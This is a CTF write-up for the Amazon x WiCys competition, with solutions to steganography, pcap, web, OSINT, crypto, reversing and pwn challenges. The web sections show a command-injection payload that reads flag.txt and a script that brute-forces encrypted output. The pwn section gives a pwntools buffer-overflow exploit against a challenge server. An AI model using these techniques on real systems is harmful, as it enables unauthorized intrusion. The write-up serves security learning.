# Amazon x WiCys CTF Username: grande_iced_latte Ranking: 9 over 356 ![](https://hackmd.io/_uploads/SyLF93Ee6.png) --- Table of Content: * Misc * [Hidden Messages](#Hidden-messages) * Network * [Simple Pcap](#Simple-Pcap) * Web * [Network Analyzer](#Network-Analyzer) * [Password Locker on the Web](#Password-Locker-on-the-Web) * Recon * [Bad Actor](#Bad-Actor) * [Secret Server](#Secret-Server) * Crypto * [I am lazy](#I-am-lazy) * Reverse Engineering * [Password Storage 101](#Password-Storage-101) * Pwn * [Simple offer](#Simple-offer) --- ## Misc ### Hidden messages After decompressing the given zip file, there is a `logo.jpg`. Let's `file logo.jpg`. ![](https://hackmd.io/_uploads/B1hznsNeT.png) There is `QW1hem9ue1N0M24wZ3JAcGh5XzEkX2hAcmR9` which looks suspicious. If we use cyberchef (or whatever base64 decoder) to decode it, there is the flag. **flag: Amazon{St3n0gr@phy_1$_h@rd}** --- ## Network ### Simple Pcap Open the given pcap file with Wireshark. We can observe that there are HTTP requests that we probably want to look into. ![](https://hackmd.io/_uploads/B1U1pjEg6.png) If we inspect the packet detail of the POST request, we can find that the request body includes a png image called `flag.png`. That looks promising! Now it is time to extract this image. ![](https://hackmd.io/_uploads/HJlCTjEx6.png) On Wireshark, click `File > Export Objects > HTTP`, select and save the packet of `multipart/form-data` type. Now the image but in a multipart/form-data mime type is stored on local. From [this StackOverflow post](https://stackoverflow.com/a/23517227), we know where the start and the end of the png file is: between file-specific headers and a `-----` boundary. ![](https://hackmd.io/_uploads/BJRk124ea.png) The file just downloaded looks like this. It is a hex-dump file, so we need to first convert it to a regular file with [`xxd -r- p flag_hex.png flag.png`](https://stackoverflow.com/a/67448745). ![](https://hackmd.io/_uploads/Bk6FkhVxT.png) It will now look like this: ![](https://hackmd.io/_uploads/By9nbn4xa.png) Let's remove the lines before `PNG` and the last `----` boundary line. Then the image can be opened! In fact, cyberchef can also extract this image for you. ![](https://hackmd.io/_uploads/B1esTvU7gp.png) **flag: Amazon{pc@p_mak3s_th3_m@gic}** --- ## Web ### Network Analyzer Use `&` to execute commands: `127.0.0.1 & ls` shows that there is a `flag.txt` file. `127.0.0.1 & cat flag.txt` gives the flag. ![](https://hackmd.io/_uploads/rkQOWvmxp.png) **flag: Amazon{4n0th3r_H4ck3r_Succ33d$}** ### Password Locker on the Web Known that the flag starts with Amazon, try to input it, and the response is a bunch of zeros. Therefore, the correct character would be encrypted to '00'. What to do is to write a python script to guess each character that is encrypted to '00' until the character is '}' indicating the end of the flag. ![](https://hackmd.io/_uploads/rJbbkFme6.png) ```python! import requests value = 'Amazon{' url = 'http://18.220.4.126:3030/encrypt' conn = requests.post(url, data={'plaintext': value}) start = '0' * 14 last = '</p>' index = 1 found = False while(not found): for i in range(33, 127): c = chr(i) data_len = len(value) * 2 + index * 2 + 1 conn = requests.post(url, data={'plaintext': value + c}) res = conn.text[conn.text.find(start):conn.text.rfind(last)] res = res[res.find('0'):data_len].strip().replace('\n', '') print(res) if(res[-2:] == '00'): value = value + c index += 1 i = 33 if(c == '}'): found = True break print(value) ``` **flag: Amazon{This_Flag_Is_Secret_front_end_validation_is_bullet_proof}** --- ## Recon ### Bad Actor Find a user with `mickey_z_scott` as username: ![](https://hackmd.io/_uploads/HJzyvKXeT.png) **flag: Amazon{0S1NT_1s_c00l}** ### Secret Server Continue with the new username `scottyisthebest`, we found a github user with only one repo. Look into the repo and the current version has nothing relevant. Dig into commits.... There is a discord server link! Join in the server and the flag is in the secret channel: ![](https://hackmd.io/_uploads/B1-Fbq7lT.png) ![](https://hackmd.io/_uploads/Sy6KZcXla.png) **flag: Amazon{Y0u_h@v3_m@st3red_0S1NT}** --- ## Crypto ### I am lazy Base64 decoding until the flag is given. **flag: Amazon{too_many_times_encoded}** --- ## Reverse Engineering ### Password Storage 101 An executable is given. Using either [Decompiler Explorer](https://dogbolt.org/) or Ghidra to get the C/C++ style code. The code is pretty long, but there are two important parts: `main` and `keychain`. ```clike! uint64_t keychain(uint64_t arg1, char* arg2, char* arg3) { uint64_t var_10 = arg1; char var_21 = 0; std::string::string(arg1); for (int32_t i = 0; i < 0x19; i = (i + 1)) { int64_t i_1 = i; char var_29_1 = xorfunction(arg2[i_1], arg3[i_1]); std::string::append(arg1, 1); } char var_21_1 = 1; return arg1; } ``` As shown above, `keychain` is just xoring the two given strings. Now we take a look at `main`. ```clike! uint64_t _main() { int64_t rax = *___stack_chk_guard; int32_t var_5c = 0; std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, "This is the newest password lock…"), std::endl<char>); // user input, i.e. password guess void var_78; std::string::string(&var_78); std::operator>><char>(std::cin, &var_78); // the two strings are the source of correct password int128_t var_38; __builtin_strcpy(&var_38, "\\prmb}{[{&`Ri@RG.i_.ch4h"); int128_t var_58; __builtin_strcpy(&var_58, "uhtrbg{nkrgb!gbfjv]jbnSf"); void var_a0; std::string::string(&var_a0); // xor the two secret strings. result = vb8 = va0 void var_b8; keychain(&var_b8, &var_58, &var_38); std::string::operator=(&var_a0); std::string::~string(); void var_d0; std::string::string(&var_d0); void var_100; // I don't quite understand this line, but I assume v100 = v58 = 'uhtrbg{nkrgb!gbfjv]jbnSf' __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC1B6v15006IDnEEPKc(&var_100, &var_58); // ve8 = vd0 = rot13('uhtrbg{nkrgb!gbfjv]jbnSf') = 'hugeot{axeto!toswi]woaFs0' void var_e8; rot13(&var_e8, &var_100); std::string::operator=(&var_d0); std::string::~string(); std::string::~string(); // Don't quite understand, but looks like trying to print something std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, &data_100003ebc), std::endl<char>); int64_t rax_3 = std::string::c_str(&var_78); // v118 = vd0 ^ va0 = rot13('uhtrbg{nkrgb!gbfjv]jbnSf') ^ ('uhtrbg{nkrgb!gbfjv]jbnSf' ^ '\prmb}{[{&`Ri@RG.i_.ch4h') void var_118; keychain(&var_118, std::string::operator[](&var_d0, 0), std::string::operator[](&var_a0, 0)); int32_t rax_8; // compare user input with correct password rax_8 = _strcmp(rax_3, std::string::c_str(&var_118)) == 0; std::string::~string(); if ((rax_8 & 1) != 0) { std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, "Correct Password"), std::endl<char>); } else { std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, "Incorrect!"), std::endl<char>); } ... return var_5c_1; } ``` Using Python to automate the computation, the result `ss` is the flag. ```python! import codecs, binascii s1 = 'uhtrbg{nkrgb!gbfjv]jbnSf0' s1b = b'uhtrbg{nkrgb!gbfjv]jbnSf0' s2b = b'\prmb}{[{&`Ri@RG.i_.ch4h' s12 = bytes(x ^ y for x, y in zip(s1b, s2b)) s1_rot13 = codecs.encode(s1, 'rot_13') print(s12, s1_rot13) ss = bytes(x ^ y for x, y in zip(s12, s1_rot13.encode('utf-8'))) print(ss) ``` Sample output: ![](https://hackmd.io/_uploads/rJqPDpmeT.png) **flag: Amazon{Th1s_iS_R3v_3ng!}** --- ## Pwn ### Simple offer There are an executable and a C file. Alright, we can get the flag by calling `win`. To do so, we have to overwrite the return address of `vuln`. The structure of stack, from low address to high address, is `[local variable] [address of previous stack frame rbp] [return address]`. From the source code, we know that there are a string of length 32 as a local variable of `vuln`. Therefore, the input so far is `char[32] + rbp = 40 bytes = a * 40`. ```clike! #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> void win() { char buf[64]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s", "You are at the right place, create a local flag to test.\n"); exit(0); } fgets(buf,64,f); printf(buf); } void vuln(){ char buf[32]; gets(buf); printf("Taking the request to 0x%x\n", __builtin_return_address(0)); } int main(int argc, char **argv){ puts("Hello, what can I help you with? : "); vuln(); return 0; } ``` Disassemble the executable so we can inspect `win`. Its address is `0x401176` (plus `0x20` since there was some issue with the challenge). Therefore, the target return address is `0x401196`. ![](https://hackmd.io/_uploads/rkYAXkNxp.png) The complete exploitation is as follows: ```python! #!/usr/bin/python3 from pwn import remote host = '3.142.83.254' # Remote machine name port = '1234' # Remote port conn = remote(host, port) placeholder = b'\xde' * 40 rbp = 0x00007ffeb28e0dd0.to_bytes(8, 'little') # fine if all a's addr = 0x0000000000401176 + 0x20 ret = addr.to_bytes(8, 'little') payload = placeholder + ret print(payload) conn.sendline(payload) print(conn.recvall()) # b'Hello, what can I help you with? : \nTaking the request to 0x401196\nAmazon{0verfl0w_mad3_th3_dr3@m_c0me_tru3}\n' conn.close() ``` **flag: Amazon{0verfl0w_mad3_th3_dr3@m_c0me_tru3}** --- &copy;Yen-Yun Wu